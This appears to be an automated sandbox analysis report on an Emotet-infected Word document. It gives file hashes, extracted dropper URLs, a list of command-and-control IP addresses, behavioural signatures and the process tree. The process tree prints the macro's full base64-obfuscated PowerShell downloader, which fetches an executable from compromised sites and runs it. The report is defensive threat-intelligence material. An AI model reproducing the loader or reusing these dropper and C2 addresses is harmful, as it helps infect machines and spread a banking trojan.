Overview

overview

10

Static

static

8

emotet_doc

windows7_x64

10

Analysis

  • max time kernel
    61s
  • max time network
    65s
  • platform
    windows7_x64
  • resource
    win7v200430
  • submitted
    17-07-2020 18:26

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Report Analysis Logs

General

  • Target

    1a209526bbc903bb6426ae3ff33f5db71d4241c1d9ec1aeafbe484c07681e315.doc

  • Size

    194KB

  • MD5

    edc6887fa671ae640cb2020d44e4af6c

  • SHA1

    bfc723276639faeed05a783482d551bee032e1d2

  • SHA256

    1a209526bbc903bb6426ae3ff33f5db71d4241c1d9ec1aeafbe484c07681e315

  • SHA512

    dd278afead2a32fd97b780d26a5b8799c3f84c403646fefb35fa76dfec723d6f61cb7dfc576b0a8a5dc5280a08e52314a49fbf4949b5a4322eee12c9dce49918

Score
10/10
discoverytrojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://topgameus.com/AutoIT_UngdungOnline/zqjqel/
exe.dropper

http://cpads.net/7iuhq/mri/
exe.dropper

https://tyres2c.com/wp-admin/zu2h/
exe.dropper

https://thesuperservice.com/wp-admin/rL00/
exe.dropper

https://ssuse.com/wp-content/uploads/IMv2xyEc3/

Extracted

Family

emotet

C2

109.117.53.230:443

212.51.142.238:8080

190.160.53.126:80

139.59.60.244:8080

91.211.88.52:7080

190.108.228.62:443

186.208.123.210:443

46.105.131.87:80

173.91.22.41:80

222.214.218.37:4143

31.31.77.83:443

62.75.141.82:80

93.156.165.186:80

93.51.50.171:8080

185.94.252.104:443

78.189.165.52:8080

95.179.229.244:8080

73.11.153.178:8080

203.153.216.189:7080

95.213.236.64:8080
rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Drops file in System32 directory 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Blacklisted process makes network request 7 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies registry class 280 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1a209526bbc903bb6426ae3ff33f5db71d4241c1d9ec1aeafbe484c07681e315.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:1400
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABiAGEAZQBwAHQAbwB1AHAAbQBvAHoAcQB1AGEAcQB1AGcAdQByAD0AJwBnAGEAaQByAGYAbwBvAHYAdwBpAGEAdABoAHQAYQBlAGcAcABvAHUAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBpAFQAeQBgAHAAUgBPAHQATwBjAGAAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAdABoAGUAZQBjAGgAaABvAGEAeABiAGEAaQBuAGwAbwBoAHIAZQB1AGcAcABvAGEAcQB1ACAAPQAgACcANgA3ADcAJwA7ACQAYwBoAGEAaQB4AHcAZQBlAHgAPQAnAHgAYQBvAHMAJwA7ACQAYwBoAGEAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdABoAGUAZQBjAGgAaABvAGEAeABiAGEAaQBuAGwAbwBoAHIAZQB1AGcAcABvAGEAcQB1ACsAJwAuAGUAeABlACcAOwAkAGoAZQBhAG0AYwBoAGEAYgA9ACcAcQB1AGEAZQBmAHkAbwB1AGwAcABvAHUAdwBqAGEAaQBoAHQAdQBhAHIAJwA7ACQAdABoAGEAZQBxAHUAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4AZQBUAC4AdwBlAEIAQwBMAGkARQBuAFQAOwAkAHQAaQBhAGcAeQBvAHUAcwB2AHUAdQBiAD0AJwBoAHQAdABwADoALwAvAHQAbwBwAGcAYQBtAGUAdQBzAC4AYwBvAG0ALwBBAHUAdABvAEkAVABfAFUAbgBnAGQAdQBuAGcATwBuAGwAaQBuAGUALwB6AHEAagBxAGUAbAAvACoAaAB0AHQAcAA6AC8ALwBjAHAAYQBkAHMALgBuAGUAdAAvADcAaQB1AGgAcQAvAG0AcgBpAC8AKgBoAHQAdABwAHMAOgAvAC8AdAB5AHIAZQBzADIAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AegB1ADIAaAAvACoAaAB0AHQAcABzADoALwAvAHQAaABlAHMAdQBwAGUAcgBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwByAEwAMAAwAC8AKgBoAHQAdABwAHMAOgAvAC8AcwBzAHUAcwBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdQBwAGwAbwBhAGQAcwAvAEkATQB2ADIAeAB5AEUAYwAzAC8AJwAuACIAcwBwAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABiAG8AdQBtAHkAYQBvAG0AaABvAGkAegBqAGUAaQBuAGYAZQBpAHYAPQAnAGYAaQBvAHQAaABnAG8AZgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeABlAGUAeABjAGUAYwBoACAAaQBuACAAJAB0AGkAYQBnAHkAbwB1AHMAdgB1AHUAYgApAHsAdAByAHkAewAkAHQAaABhAGUAcQB1AC4AIgBEAGAAbwBXAG4ATABPAGAAQQBkAEYAYABpAGwARQAiACgAJAB4AGUAZQB4AGMAZQBjAGgALAAgACQAYwBoAGEAeQApADsAJABtAGEAZQByAGIAbwBlAHAAYwB1AGEAZwA9ACcAdgBlAGEAYgB0AHUAcAByAHUAdQBsAGMAaABpAGEAegBiAG8AYQBoACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAYwBoAGEAeQApAC4AIgBMAGUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA2ADcANgA0ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIARQBhAGAAVABlACIAKAAkAGMAaABhAHkAKQA7ACQAYwBlAGMAaABjAGEAdQB0AHQAaABlAG8AcQB1AHMAbwBlAG0APQAnAGoAbwBpAGsAagBvAGEAcABkAGkAZQBzACcAOwBiAHIAZQBhAGsAOwAkAGcAYQB1AGcAeQB1AHkAcgB1AHkAeQB1AG4AYgB1AHUAZgBrAGUAcgA9ACcAdABpAGEAdwBmAGUAbwBjAGYAYQBpAHMAagBhAGUAZgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABwAGkAeAB3AHUAegB2AG8AYQBtAGwAdQB1AHMAagBvAG8AeQBrAGkAbQA9ACcAcwBpAGMAaABrAGUAaQBnAHYAbwBhAGMAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Blacklisted process makes network request
    PID:1776
  • C:\Users\Admin\677.exe
    C:\Users\Admin\677.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    PID:1536

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1400-2-0x0000000008BA0000-0x0000000008BA4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1400-3-0x0000000007140000-0x0000000007340000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1400-4-0x0000000007140000-0x0000000007340000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1400-5-0x000000000AED0000-0x000000000AED4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1400-6-0x000000000BF50000-0x000000000BF54000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1400-7-0x0000000007140000-0x0000000007340000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1536-10-0x00000000003B0000-0x00000000003BC000-memory.dmp

    Filesize

    48KB

    Download